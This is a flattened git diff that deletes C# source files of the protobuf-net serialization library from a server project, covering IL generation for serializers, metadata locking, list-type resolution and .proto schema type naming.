il.Emit(OpCodes.Ldtoken, pair.Type.Type); - il.EmitCall(OpCodes.Call, ctx.MapType(typeof(System.Type)).GetMethod("GetTypeFromHandle"), null); - il.Emit(OpCodes.Stelem_Ref); - index++; - } - il.Emit(OpCodes.Stsfld, knownTypes); - il.Emit(OpCodes.Ret); - } - break; - case KnownTypes_Dictionary: - { - Compiler.CompilerContext.LoadValue(il, types.Count); - //LocalBuilder loc = il.DeclareLocal(knownTypesLookupType); - il.Emit(OpCodes.Newobj, knownTypesLookupType.GetConstructor(new Type[] { MapType(typeof(int)) })); - il.Emit(OpCodes.Stsfld, knownTypes); - int typeIndex = 0; - foreach (SerializerPair pair in methodPairs) - { - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldtoken, pair.Type.Type); - il.EmitCall(OpCodes.Call, ctx.MapType(typeof(System.Type)).GetMethod("GetTypeFromHandle"), null); - int keyIndex = typeIndex++, lastKey = pair.BaseKey; - if (lastKey != pair.MetaKey) // not a base-type; need to give the index of the base-type - { - keyIndex = -1; // assume epic fail - for (int j = 0; j < methodPairs.Length; j++) - { - if (methodPairs[j].BaseKey == lastKey && methodPairs[j].MetaKey == lastKey) - { - keyIndex = j; - break; - } - } - } - Compiler.CompilerContext.LoadValue(il, keyIndex); - il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("Add", new Type[] { MapType(typeof(System.Type)), MapType(typeof(int)) }), null); - } - il.Emit(OpCodes.Ret); - } - break; - case KnownTypes_Hashtable: - { - Compiler.CompilerContext.LoadValue(il, types.Count); - il.Emit(OpCodes.Newobj, knownTypesLookupType.GetConstructor(new Type[] { MapType(typeof(int)) })); - il.Emit(OpCodes.Stsfld, knownTypes); - int typeIndex = 0; - foreach (SerializerPair pair in methodPairs) - { - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldtoken, pair.Type.Type); - il.EmitCall(OpCodes.Call, ctx.MapType(typeof(System.Type)).GetMethod("GetTypeFromHandle"), null); - int keyIndex = typeIndex++, lastKey = pair.BaseKey; - if (lastKey != pair.MetaKey) // not a base-type; need to give the index of the base-type - { - keyIndex = -1; // assume epic fail - for (int j = 0; j < methodPairs.Length; j++) - { - if (methodPairs[j].BaseKey == lastKey && methodPairs[j].MetaKey == lastKey) - { - keyIndex = j; - break; - } - } - } - Compiler.CompilerContext.LoadValue(il, keyIndex); - il.Emit(OpCodes.Box, MapType(typeof(int))); - il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("Add", new Type[] { MapType(typeof(object)), MapType(typeof(object)) }), null); - } - il.Emit(OpCodes.Ret); - } - break; - default: - throw new InvalidOperationException(); - } - } - - private Compiler.CompilerContext WriteSerializeDeserialize(string assemblyName, TypeBuilder type, SerializerPair[] methodPairs, Compiler.CompilerContext.ILVersion ilVersion, ref ILGenerator il) - { - il = Override(type, "Serialize"); - Compiler.CompilerContext ctx = new Compiler.CompilerContext(il, false, true, methodPairs, this, ilVersion, assemblyName, MapType(typeof(object))); - // arg0 = this, arg1 = key, arg2=obj, arg3=dest - Compiler.CodeLabel[] jumpTable = new Compiler.CodeLabel[types.Count]; - for (int i = 0; i < jumpTable.Length; i++) - { - jumpTable[i] = ctx.DefineLabel(); - } - il.Emit(OpCodes.Ldarg_1); - ctx.Switch(jumpTable); - ctx.Return(); - for (int i = 0; i < jumpTable.Length; i++) - { - SerializerPair pair = methodPairs[i]; - ctx.MarkLabel(jumpTable[i]); - il.Emit(OpCodes.Ldarg_2); - ctx.CastFromObject(pair.Type.Type); - il.Emit(OpCodes.Ldarg_3); - il.EmitCall(OpCodes.Call, pair.Serialize, null); - ctx.Return(); - } - - il = Override(type, "Deserialize"); - ctx = new Compiler.CompilerContext(il, false, false, methodPairs, this, ilVersion, assemblyName, MapType(typeof(object))); - // arg0 = this, arg1 = key, arg2=obj, arg3=source - for (int i = 0; i < jumpTable.Length; i++) - { - jumpTable[i] = ctx.DefineLabel(); - } - il.Emit(OpCodes.Ldarg_1); - ctx.Switch(jumpTable); - ctx.LoadNullRef(); - ctx.Return(); - for (int i = 0; i < jumpTable.Length; i++) - { - SerializerPair pair = methodPairs[i]; - ctx.MarkLabel(jumpTable[i]); - Type keyType = pair.Type.Type; - if (keyType.IsValueType) - { - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldarg_3); - il.EmitCall(OpCodes.Call, EmitBoxedSerializer(type, i, keyType, methodPairs, this, ilVersion, assemblyName), null); - ctx.Return(); - } - else - { - il.Emit(OpCodes.Ldarg_2); - ctx.CastFromObject(keyType); - il.Emit(OpCodes.Ldarg_3); - il.EmitCall(OpCodes.Call, pair.Deserialize, null); - ctx.Return(); - } - } - return ctx; - } - - private const int KnownTypes_Array = 1, KnownTypes_Dictionary = 2, KnownTypes_Hashtable = 3, KnownTypes_ArrayCutoff = 20; - private void WriteGetKeyImpl(TypeBuilder type, bool hasInheritance, SerializerPair[] methodPairs, Compiler.CompilerContext.ILVersion ilVersion, string assemblyName, out ILGenerator il, out int knownTypesCategory, out FieldBuilder knownTypes, out Type knownTypesLookupType) - { - - il = Override(type, "GetKeyImpl"); - Compiler.CompilerContext ctx = new Compiler.CompilerContext(il, false, false, methodPairs, this, ilVersion, assemblyName, MapType(typeof(System.Type), true)); - - if (types.Count <= KnownTypes_ArrayCutoff) - { - knownTypesCategory = KnownTypes_Array; - knownTypesLookupType = MapType(typeof(System.Type[]), true); - } - else - { -#if NO_GENERICS - knownTypesLookupType = null; -#else - knownTypesLookupType = MapType(typeof(System.Collections.Generic.Dictionary), false); -#endif - if (knownTypesLookupType == null) - { - knownTypesLookupType = MapType(typeof(Hashtable), true); - knownTypesCategory = KnownTypes_Hashtable; - } - else - { - knownTypesCategory = KnownTypes_Dictionary; - } - } - knownTypes = type.DefineField("knownTypes", knownTypesLookupType, FieldAttributes.Private | FieldAttributes.InitOnly | FieldAttributes.Static); - - switch (knownTypesCategory) - { - case KnownTypes_Array: - { - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldarg_1); - // note that Array.IndexOf is not supported under CF - il.EmitCall(OpCodes.Callvirt, MapType(typeof(IList)).GetMethod( - "IndexOf", new Type[] { MapType(typeof(object)) }), null); - if (hasInheritance) - { - il.DeclareLocal(MapType(typeof(int))); // loc-0 - il.Emit(OpCodes.Dup); - il.Emit(OpCodes.Stloc_0); - - BasicList getKeyLabels = new BasicList(); - int lastKey = -1; - for (int i = 0; i < methodPairs.Length; i++) - { - if (methodPairs[i].MetaKey == methodPairs[i].BaseKey) break; - if (lastKey == methodPairs[i].BaseKey) - { // add the last label again - getKeyLabels.Add(getKeyLabels[getKeyLabels.Count - 1]); - } - else - { // add a new unique label - getKeyLabels.Add(ctx.DefineLabel()); - lastKey = methodPairs[i].BaseKey; - } - } - Compiler.CodeLabel[] subtypeLabels = new Compiler.CodeLabel[getKeyLabels.Count]; - getKeyLabels.CopyTo(subtypeLabels, 0); - - ctx.Switch(subtypeLabels); - il.Emit(OpCodes.Ldloc_0); // not a sub-type; use the original value - il.Emit(OpCodes.Ret); - - lastKey = -1; - // now output the different branches per sub-type (not derived type) - for (int i = subtypeLabels.Length - 1; i >= 0; i--) - { - if (lastKey != methodPairs[i].BaseKey) - { - lastKey = methodPairs[i].BaseKey; - // find the actual base-index for this base-key (i.e. the index of - // the base-type) - int keyIndex = -1; - for (int j = subtypeLabels.Length; j < methodPairs.Length; j++) - { - if (methodPairs[j].BaseKey == lastKey && methodPairs[j].MetaKey == lastKey) - { - keyIndex = j; - break; - } - } - ctx.MarkLabel(subtypeLabels[i]); - Compiler.CompilerContext.LoadValue(il, keyIndex); - il.Emit(OpCodes.Ret); - } - } - } - else - { - il.Emit(OpCodes.Ret); - } - } - break; - case KnownTypes_Dictionary: - { - LocalBuilder result = il.DeclareLocal(MapType(typeof(int))); - Label otherwise = il.DefineLabel(); - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloca_S, result); - il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("TryGetValue", BindingFlags.Instance | BindingFlags.Public), null); - il.Emit(OpCodes.Brfalse_S, otherwise); - il.Emit(OpCodes.Ldloc_S, result); - il.Emit(OpCodes.Ret); - il.MarkLabel(otherwise); - il.Emit(OpCodes.Ldc_I4_M1); - il.Emit(OpCodes.Ret); - } - break; - case KnownTypes_Hashtable: - { - Label otherwise = il.DefineLabel(); - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldarg_1); - il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetProperty("Item").GetGetMethod(), null); - il.Emit(OpCodes.Dup); - il.Emit(OpCodes.Brfalse_S, otherwise); -#if FX11 - il.Emit(OpCodes.Unbox, MapType(typeof(int))); - il.Emit(OpCodes.Ldobj, MapType(typeof(int))); -#else - if (ilVersion == Compiler.CompilerContext.ILVersion.Net1) - { - il.Emit(OpCodes.Unbox, MapType(typeof(int))); - il.Emit(OpCodes.Ldobj, MapType(typeof(int))); - } - else - { - il.Emit(OpCodes.Unbox_Any, MapType(typeof(int))); - } -#endif - il.Emit(OpCodes.Ret); - il.MarkLabel(otherwise); - il.Emit(OpCodes.Pop); - il.Emit(OpCodes.Ldc_I4_M1); - il.Emit(OpCodes.Ret); - } - break; - default: - throw new InvalidOperationException(); - } - } - - private void WriteSerializers(CompilerOptions options, string assemblyName, TypeBuilder type, out int index, out bool hasInheritance, out SerializerPair[] methodPairs, out Compiler.CompilerContext.ILVersion ilVersion) - { - Compiler.CompilerContext ctx; - - index = 0; - hasInheritance = false; - methodPairs = new SerializerPair[types.Count]; - foreach (MetaType metaType in types) - { - MethodBuilder writeMethod = type.DefineMethod("Write" -#if DEBUG - + metaType.Type.Name -#endif -, - MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, - MapType(typeof(void)), new Type[] { metaType.Type, MapType(typeof(ProtoWriter)) }); - - MethodBuilder readMethod = type.DefineMethod("Read" -#if DEBUG - + metaType.Type.Name -#endif -, - MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, - metaType.Type, new Type[] { metaType.Type, MapType(typeof(ProtoReader)) }); - - SerializerPair pair = new SerializerPair( - GetKey(metaType.Type, true, false), GetKey(metaType.Type, true, true), metaType, - writeMethod, readMethod, writeMethod.GetILGenerator(), readMethod.GetILGenerator()); - methodPairs[index++] = pair; - if (pair.MetaKey != pair.BaseKey) hasInheritance = true; - } - - if (hasInheritance) - { - Array.Sort(methodPairs); - } - - ilVersion = Compiler.CompilerContext.ILVersion.Net2; - if (options.MetaDataVersion == 0x10000) - { - ilVersion = Compiler.CompilerContext.ILVersion.Net1; // old-school! - } - for (index = 0; index < methodPairs.Length; index++) - { - SerializerPair pair = methodPairs[index]; - ctx = new Compiler.CompilerContext(pair.SerializeBody, true, true, methodPairs, this, ilVersion, assemblyName, pair.Type.Type); - ctx.CheckAccessibility(pair.Deserialize.ReturnType); - pair.Type.Serializer.EmitWrite(ctx, ctx.InputValue); - ctx.Return(); - - ctx = new Compiler.CompilerContext(pair.DeserializeBody, true, false, methodPairs, this, ilVersion, assemblyName, pair.Type.Type); - pair.Type.Serializer.EmitRead(ctx, ctx.InputValue); - if (!pair.Type.Serializer.ReturnsValue) - { - ctx.LoadValue(ctx.InputValue); - } - ctx.Return(); - } - } - - private TypeBuilder WriteBasicTypeModel(CompilerOptions options, string typeName, ModuleBuilder module) - { - Type baseType = MapType(typeof(TypeModel)); - TypeAttributes typeAttributes = (baseType.Attributes & ~TypeAttributes.Abstract) | TypeAttributes.Sealed; - if (options.Accessibility == Accessibility.Internal) - { - typeAttributes &= ~TypeAttributes.Public; - } - - TypeBuilder type = module.DefineType(typeName, typeAttributes, baseType); - return type; - } - - private void WriteAssemblyAttributes(CompilerOptions options, string assemblyName, AssemblyBuilder asm) - { - if (!Helpers.IsNullOrEmpty(options.TargetFrameworkName)) - { - // get [TargetFramework] from mscorlib/equivalent and burn into the new assembly - Type versionAttribType = null; - try - { // this is best-endeavours only - versionAttribType = GetType("System.Runtime.Versioning.TargetFrameworkAttribute", MapType(typeof(string)).Assembly); - } - catch { /* don't stress */ } - if (versionAttribType != null) - { - PropertyInfo[] props; - object[] propValues; - if (Helpers.IsNullOrEmpty(options.TargetFrameworkDisplayName)) - { - props = new PropertyInfo[0]; - propValues = new object[0]; - } - else - { - props = new PropertyInfo[1] { versionAttribType.GetProperty("FrameworkDisplayName") }; - propValues = new object[1] { options.TargetFrameworkDisplayName }; - } - CustomAttributeBuilder builder = new CustomAttributeBuilder( - versionAttribType.GetConstructor(new Type[] { MapType(typeof(string)) }), - new object[] { options.TargetFrameworkName }, - props, - propValues); - asm.SetCustomAttribute(builder); - } - } - - // copy assembly:InternalsVisibleTo - Type internalsVisibleToAttribType = null; -#if !FX11 - try - { - internalsVisibleToAttribType = MapType(typeof(System.Runtime.CompilerServices.InternalsVisibleToAttribute)); - } - catch { /* best endeavors only */ } -#endif - if (internalsVisibleToAttribType != null) - { - BasicList internalAssemblies = new BasicList(), consideredAssemblies = new BasicList(); - foreach (MetaType metaType in types) - { - Assembly assembly = metaType.Type.Assembly; - if (consideredAssemblies.IndexOfReference(assembly) >= 0) continue; - consideredAssemblies.Add(assembly); - - AttributeMap[] assemblyAttribsMap = AttributeMap.Create(this, assembly); - for (int i = 0; i < assemblyAttribsMap.Length; i++) - { - - if (assemblyAttribsMap[i].AttributeType != internalsVisibleToAttribType) continue; - - object privelegedAssemblyObj; - assemblyAttribsMap[i].TryGet("AssemblyName", out privelegedAssemblyObj); - string privelegedAssemblyName = privelegedAssemblyObj as string; - if (privelegedAssemblyName == assemblyName || Helpers.IsNullOrEmpty(privelegedAssemblyName)) continue; // ignore - - if (internalAssemblies.IndexOfString(privelegedAssemblyName) >= 0) continue; // seen it before - internalAssemblies.Add(privelegedAssemblyName); - - CustomAttributeBuilder builder = new CustomAttributeBuilder( - internalsVisibleToAttribType.GetConstructor(new Type[] { MapType(typeof(string)) }), - new object[] { privelegedAssemblyName }); - asm.SetCustomAttribute(builder); - } - } - } - } - - private static MethodBuilder EmitBoxedSerializer(TypeBuilder type, int i, Type valueType, SerializerPair[] methodPairs, TypeModel model, Compiler.CompilerContext.ILVersion ilVersion, string assemblyName) - { - MethodInfo dedicated = methodPairs[i].Deserialize; - MethodBuilder boxedSerializer = type.DefineMethod("_" + i.ToString(), MethodAttributes.Static, CallingConventions.Standard, - model.MapType(typeof(object)), new Type[] { model.MapType(typeof(object)), model.MapType(typeof(ProtoReader)) }); - Compiler.CompilerContext ctx = new Compiler.CompilerContext(boxedSerializer.GetILGenerator(), true, false, methodPairs, model, ilVersion, assemblyName, model.MapType(typeof(object))); - ctx.LoadValue(ctx.InputValue); - Compiler.CodeLabel @null = ctx.DefineLabel(); - ctx.BranchIfFalse(@null, true); - - Type mappedValueType = valueType; - ctx.LoadValue(ctx.InputValue); - ctx.CastFromObject(mappedValueType); - ctx.LoadReaderWriter(); - ctx.EmitCall(dedicated); - ctx.CastToObject(mappedValueType); - ctx.Return(); - - ctx.MarkLabel(@null); - using (Compiler.Local typedVal = new Compiler.Local(ctx, mappedValueType)) - { - // create a new valueType - ctx.LoadAddress(typedVal, mappedValueType); - ctx.EmitCtor(mappedValueType); - ctx.LoadValue(typedVal); - ctx.LoadReaderWriter(); - ctx.EmitCall(dedicated); - ctx.CastToObject(mappedValueType); - ctx.Return(); - } - return boxedSerializer; - } - -#endif -#endif - //internal bool IsDefined(Type type, int fieldNumber) - //{ - // return FindWithoutAdd(type).IsDefined(fieldNumber); - //} - - // note that this is used by some of the unit tests - internal bool IsPrepared(Type type) - { - MetaType meta = FindWithoutAdd(type); - return meta != null && meta.IsPrepared(); - } - - internal EnumSerializer.EnumPair[] GetEnumMap(Type type) - { - int index = FindOrAddAuto(type, false, false, false); - return index < 0 ? null : ((MetaType) types[index]).GetEnumMap(); - } - - private int metadataTimeoutMilliseconds = 5000; - - /// - /// The amount of time to wait if there are concurrent metadata access operations - /// - public int MetadataTimeoutMilliseconds - { - get { return metadataTimeoutMilliseconds; } - set - { - if (value <= 0) throw new ArgumentOutOfRangeException("MetadataTimeoutMilliseconds"); - metadataTimeoutMilliseconds = value; - } - } - -#if DEBUG - private int lockCount; - - /// - /// Gets how many times a model lock was taken - /// - public int LockCount - { - get { return lockCount; } - } -#endif - - internal void TakeLock(ref int opaqueToken) - { - const string message = - "Timeout while inspecting metadata; this may indicate a deadlock. This can often be avoided by preparing necessary serializers during application initialization, rather than allowing multiple threads to perform the initial metadata inspection; please also see the LockContended event"; - opaqueToken = 0; -#if PORTABLE - if(!Monitor.TryEnter(types)) throw new TimeoutException(message); // yes, we have to do this immediately - I'm not creating a "hot" loop, just because Sleep() doesn't exist... - opaqueToken = Interlocked.CompareExchange(ref contentionCounter, 0, 0); // just fetch current value (starts at 1) -#elif CF2 || CF35 - int remaining = metadataTimeoutMilliseconds; - bool lockTaken; - do { - lockTaken = Monitor.TryEnter(types); - if(!lockTaken) - { - if(remaining <= 0) throw new TimeoutException(message); - remaining -= 50; - Thread.Sleep(50); - } - } while(!lockTaken); - opaqueToken = Interlocked.CompareExchange(ref contentionCounter, 0, 0); // just fetch current value (starts at 1) -#else - if (Monitor.TryEnter(types, metadataTimeoutMilliseconds)) - { - opaqueToken = GetContention(); // just fetch current value (starts at 1) - } - else - { - AddContention(); -#if FX11 - throw new InvalidOperationException(message); -#else - throw new TimeoutException(message); -#endif - } -#endif - -#if DEBUG // note that here, through all code-paths: we have the lock - lockCount++; -#endif - } - - private int contentionCounter = 1; -#if PLAT_NO_INTERLOCKED - private readonly object contentionLock = new object(); -#endif - - private int GetContention() - { -#if PLAT_NO_INTERLOCKED - lock(contentionLock) - { - return contentionCounter; - } -#else - return Interlocked.CompareExchange(ref contentionCounter, 0, 0); -#endif - } - - private void AddContention() - { -#if PLAT_NO_INTERLOCKED - lock(contentionLock) - { - contentionCounter++; - } -#else - Interlocked.Increment(ref contentionCounter); -#endif - } - - internal void ReleaseLock(int opaqueToken) - { - if (opaqueToken != 0) - { - Monitor.Exit(types); - if (opaqueToken != GetContention()) // contention-count changes since we looked! - { - LockContentedEventHandler handler = LockContended; - if (handler != null) - { - // not hugely elegant, but this is such a far-corner-case that it doesn't need to be slick - I'll settle for cross-platform - string stackTrace; - try - { - throw new ProtoException(); - } - catch (Exception ex) - { - stackTrace = ex.StackTrace; - } - - handler(this, new LockContentedEventArgs(stackTrace)); - } - } - } - } - - /// - /// If a lock-contention is detected, this event signals the *owner* of the lock responsible for the blockage, indicating - /// what caused the problem; this is only raised if the lock-owning code successfully completes. - /// - public event LockContentedEventHandler LockContended; - - internal void ResolveListTypes(Type type, ref Type itemType, ref Type defaultType) - { - if (type == null) return; - if (Helpers.GetTypeCode(type) != ProtoTypeCode.Unknown) return; // don't try this[type] for inbuilts - if (this[type].IgnoreListHandling) return; - - // handle arrays - if (type.IsArray) - { - if (type.GetArrayRank() != 1) - { - throw new NotSupportedException("Multi-dimension arrays are supported"); - } - itemType = type.GetElementType(); - if (itemType == MapType(typeof (byte))) - { - defaultType = itemType = null; - } - else - { - defaultType = type; - } - } - // handle lists - if (itemType == null) - { - itemType = TypeModel.GetListItemType(this, type); - } - - // check for nested data (not allowed) - if (itemType != null) - { - Type nestedItemType = null, nestedDefaultType = null; - ResolveListTypes(itemType, ref nestedItemType, ref nestedDefaultType); - if (nestedItemType != null) - { - throw TypeModel.CreateNestedListsNotSupported(); - } - } - - if (itemType != null && defaultType == null) - { -#if WINRT - System.Reflection.TypeInfo typeInfo = System.Reflection.IntrospectionExtensions.GetTypeInfo(type); - if (typeInfo.IsClass && !typeInfo.IsAbstract && Helpers.GetConstructor(typeInfo, Helpers.EmptyTypes, true) != null) -#else - if (type.IsClass && !type.IsAbstract && Helpers.GetConstructor(type, Helpers.EmptyTypes, true) != null) -#endif - { - defaultType = type; - } - if (defaultType == null) - { -#if WINRT - if (typeInfo.IsInterface) -#else - if (type.IsInterface) -#endif - { -#if NO_GENERICS - defaultType = typeof(ArrayList); -#else - Type[] genArgs; -#if WINRT - if (typeInfo.IsGenericType && typeInfo.GetGenericTypeDefinition() == typeof(System.Collections.Generic.IDictionary<,>) - && itemType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(genArgs = typeInfo.GenericTypeArguments)) -#else - if (type.IsGenericType && - type.GetGenericTypeDefinition() == - MapType(typeof (System.Collections.Generic.IDictionary<,>)) - && - itemType == - MapType(typeof (System.Collections.Generic.KeyValuePair<,>)) - .MakeGenericType(genArgs = type.GetGenericArguments())) -#endif - { - defaultType = - MapType(typeof (System.Collections.Generic.Dictionary<,>)).MakeGenericType(genArgs); - } - else - { - defaultType = MapType(typeof (System.Collections.Generic.List<>)).MakeGenericType(itemType); - } -#endif - } - } - // verify that the default type is appropriate - if (defaultType != null && !Helpers.IsAssignableFrom(type, defaultType)) - { - defaultType = null; - } - } - } - - -#if FEAT_IKVM - internal override Type GetType(string fullName, Assembly context) - { - if (context != null) - { - Type found = universe.GetType(context, fullName, false); - if (found != null) return found; - } - return universe.GetType(fullName, false); - } -#endif - - internal string GetSchemaTypeName(Type effectiveType, DataFormat dataFormat, bool asReference, bool dynamicType, - ref bool requiresBclImport) - { - Type tmp = Helpers.GetUnderlyingType(effectiveType); - if (tmp != null) effectiveType = tmp; - - if (effectiveType == this.MapType(typeof (byte[]))) return "bytes"; - - WireType wireType; - IProtoSerializer ser = ValueMember.TryGetCoreSerializer(this, dataFormat, effectiveType, out wireType, false, - false, false, false); - if (ser == null) - { - // model type - if (asReference || dynamicType) - { - requiresBclImport = true; - return "bcl.NetObjectProxy"; - } - return this[effectiveType].GetSurrogateOrBaseOrSelf(true).GetSchemaTypeName(); - } - else - { - if (ser is ParseableSerializer) - { - if (asReference) requiresBclImport = true; - return asReference ? "bcl.NetObjectProxy" : "string"; - } - - switch (Helpers.GetTypeCode(effectiveType)) - { - case ProtoTypeCode.Boolean: - return "bool"; - case ProtoTypeCode.Single: - return "float"; - case ProtoTypeCode.Double: - return "double"; - case ProtoTypeCode.String: - if (asReference) requiresBclImport = true; - return asReference ? "bcl.NetObjectProxy" : "string"; - case ProtoTypeCode.Byte: - case ProtoTypeCode.Char: - case ProtoTypeCode.UInt16: - case ProtoTypeCode.UInt32: - switch (dataFormat) - { - case DataFormat.FixedSize: - return "fixed32"; - default: - return "uint32"; - } - case ProtoTypeCode.SByte: - case ProtoTypeCode.Int16: - case ProtoTypeCode.Int32: - switch (dataFormat) - { - case DataFormat.ZigZag: - return "sint32"; - case DataFormat.FixedSize: - return "sfixed32"; - default: - return "int32"; - } - case ProtoTypeCode.UInt64: - switch (dataFormat) - { - case DataFormat.FixedSize: - return "fixed64"; - default: - return "uint64"; - } - case ProtoTypeCode.Int64: - switch (dataFormat) - { - case DataFormat.ZigZag: - return "sint64"; - case DataFormat.FixedSize: - return "sfixed64"; - default: - return "int64"; - } - case ProtoTypeCode.DateTime: - requiresBclImport = true; - return "bcl.DateTime"; - case ProtoTypeCode.TimeSpan: - requiresBclImport = true; - return "bcl.TimeSpan"; - case ProtoTypeCode.Decimal: - requiresBclImport = true; - return "bcl.Decimal"; - case ProtoTypeCode.Guid: - requiresBclImport = true; - return "bcl.Guid"; - default: - throw new NotSupportedException("No .proto map found for: " + effectiveType.FullName); - } - } - } - - /// - /// Designate a factory-method to use to create instances of any type; note that this only affect types seen by the serializer *after* setting the factory. - /// - public void SetDefaultFactory(MethodInfo methodInfo) - { - VerifyFactory(methodInfo, null); - defaultFactory = methodInfo; - } - - private MethodInfo defaultFactory; - - internal void VerifyFactory(MethodInfo factory, Type type) - { - if (factory != null) - { - if (type != null && Helpers.IsValueType(type)) throw new InvalidOperationException(); - if (!factory.IsStatic) throw new ArgumentException("A factory-method must be static", "factory"); - if ((type != null && factory.ReturnType != type) && factory.ReturnType != MapType(typeof (object))) - throw new ArgumentException( - "The factory-method must return object" + (type == null ? "" : (" or " + type.FullName)), - "factory"); - - if (!CallbackSet.CheckCallbackParameters(this, factory)) - throw new ArgumentException( - "Invalid factory signature in " + factory.DeclaringType.FullName + "." + factory.Name, "factory"); - } - } - } - - /// - /// Contains the stack-trace of the owning code when a lock-contention scenario is detected - /// - public sealed class LockContentedEventArgs : EventArgs - { - private readonly string ownerStackTrace; - - internal LockContentedEventArgs(string ownerStackTrace) - { - this.ownerStackTrace = ownerStackTrace; - } - - /// - /// The stack-trace of the code that owned the lock when a lock-contention scenario occurred - /// - public string OwnerStackTrace - { - get { return ownerStackTrace; } - } - } - - /// - /// Event-type that is raised when a lock-contention scenario is detected - /// - public delegate void LockContentedEventHandler(object sender, LockContentedEventArgs args); -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Meta/SubType.cs b/Server/Core/ProtoBuf/Meta/SubType.cs deleted file mode 100644 index 4e991d3e..00000000 --- a/Server/Core/ProtoBuf/Meta/SubType.cs +++ /dev/null @@ -1,97 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Serializers; - -namespace ProtoBuf.Meta -{ - /// - /// Represents an inherited type in a type hierarchy. - /// - public sealed class SubType - { - internal sealed class Comparer : System.Collections.IComparer -#if !NO_GENERICS - , System.Collections.Generic.IComparer -#endif - { - public static readonly Comparer Default = new Comparer(); - - public int Compare(object x, object y) - { - return Compare(x as SubType, y as SubType); - } - - public int Compare(SubType x, SubType y) - { - if (ReferenceEquals(x, y)) return 0; - if (x == null) return -1; - if (y == null) return 1; - - return x.FieldNumber.CompareTo(y.FieldNumber); - } - } - - private readonly int fieldNumber; - - /// - /// The field-number that is used to encapsulate the data (as a nested - /// message) for the derived dype. - /// - public int FieldNumber - { - get { return fieldNumber; } - } - - /// - /// The sub-type to be considered. - /// - public MetaType DerivedType - { - get { return derivedType; } - } - - private readonly MetaType derivedType; - - /// - /// Creates a new SubType instance. - /// - /// The field-number that is used to encapsulate the data (as a nested - /// message) for the derived dype. - /// The sub-type to be considered. - /// Specific encoding style to use; in particular, Grouped can be used to avoid buffering, but is not the default. - public SubType(int fieldNumber, MetaType derivedType, DataFormat format) - { - if (derivedType == null) throw new ArgumentNullException("derivedType"); - if (fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber"); - this.fieldNumber = fieldNumber; - this.derivedType = derivedType; - this.dataFormat = format; - } - - private readonly DataFormat dataFormat; - - private IProtoSerializer serializer; - - internal IProtoSerializer Serializer - { - get - { - if (serializer == null) serializer = BuildSerializer(); - return serializer; - } - } - - private IProtoSerializer BuildSerializer() - { - // note the caller here is MetaType.BuildSerializer, which already has the sync-lock - WireType wireType = WireType.String; - if (dataFormat == DataFormat.Group) wireType = WireType.StartGroup; // only one exception - - IProtoSerializer ser = new SubItemSerializer(derivedType.Type, derivedType.GetKey(false, false), derivedType, - false); - return new TagDecorator(fieldNumber, wireType, false, ser); - } - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Meta/TypeFormatEventArgs.cs b/Server/Core/ProtoBuf/Meta/TypeFormatEventArgs.cs deleted file mode 100644 index bd815363..00000000 --- a/Server/Core/ProtoBuf/Meta/TypeFormatEventArgs.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; - -namespace ProtoBuf.Meta -{ - /// - /// Event arguments needed to perform type-formatting functions; this could be resolving a Type to a string suitable for serialization, or could - /// be requesting a Type from a string. If no changes are made, a default implementation will be used (from the assembly-qualified names). - /// - public class TypeFormatEventArgs : EventArgs - { - private Type type; - private string formattedName; - private readonly bool typeFixed; - - /// - /// The type involved in this map; if this is initially null, a Type is expected to be provided for the string in FormattedName. - /// - public Type Type - { - get { return type; } - set - { - if (type != value) - { - if (typeFixed) throw new InvalidOperationException("The type is fixed and cannot be changed"); - type = value; - } - } - } - - /// - /// The formatted-name involved in this map; if this is initially null, a formatted-name is expected from the type in Type. - /// - public string FormattedName - { - get { return formattedName; } - set - { - if (formattedName != value) - { - if (!typeFixed) - throw new InvalidOperationException("The formatted-name is fixed and cannot be changed"); - formattedName = value; - } - } - } - - internal TypeFormatEventArgs(string formattedName) - { - if (Helpers.IsNullOrEmpty(formattedName)) throw new ArgumentNullException("formattedName"); - this.formattedName = formattedName; - // typeFixed = false; <== implicit - } - - internal TypeFormatEventArgs(System.Type type) - { - if (type == null) throw new ArgumentNullException("type"); - this.type = type; - typeFixed = true; - } - } - - /// - /// Delegate type used to perform type-formatting functions; the sender originates as the type-model. - /// - public delegate void TypeFormatEventHandler(object sender, TypeFormatEventArgs args); -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Meta/TypeModel.cs b/Server/Core/ProtoBuf/Meta/TypeModel.cs deleted file mode 100644 index 7fa679a7..00000000 --- a/Server/Core/ProtoBuf/Meta/TypeModel.cs +++ /dev/null @@ -1,1814 +0,0 @@ -using System; -using System.IO; -using System.Collections; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Meta -{ - /// - /// Provides protobuf serialization support for a number of types - /// - public abstract class TypeModel - { -#if WINRT - internal TypeInfo MapType(TypeInfo type) - { - return type; - } -#endif - - /// - /// Resolve a System.Type to the compiler-specific type - /// - protected internal Type MapType(System.Type type) - { - return MapType(type, true); - } - - /// - /// Resolve a System.Type to the compiler-specific type - /// - protected internal virtual Type MapType(System.Type type, bool demand) - { -#if FEAT_IKVM - throw new NotImplementedException(); // this should come from RuntimeTypeModel! -#else - return type; -#endif - } - - private WireType GetWireType(ProtoTypeCode code, DataFormat format, ref Type type, out int modelKey) - { - modelKey = -1; - if (Helpers.IsEnum(type)) - { - modelKey = GetKey(ref type); - return 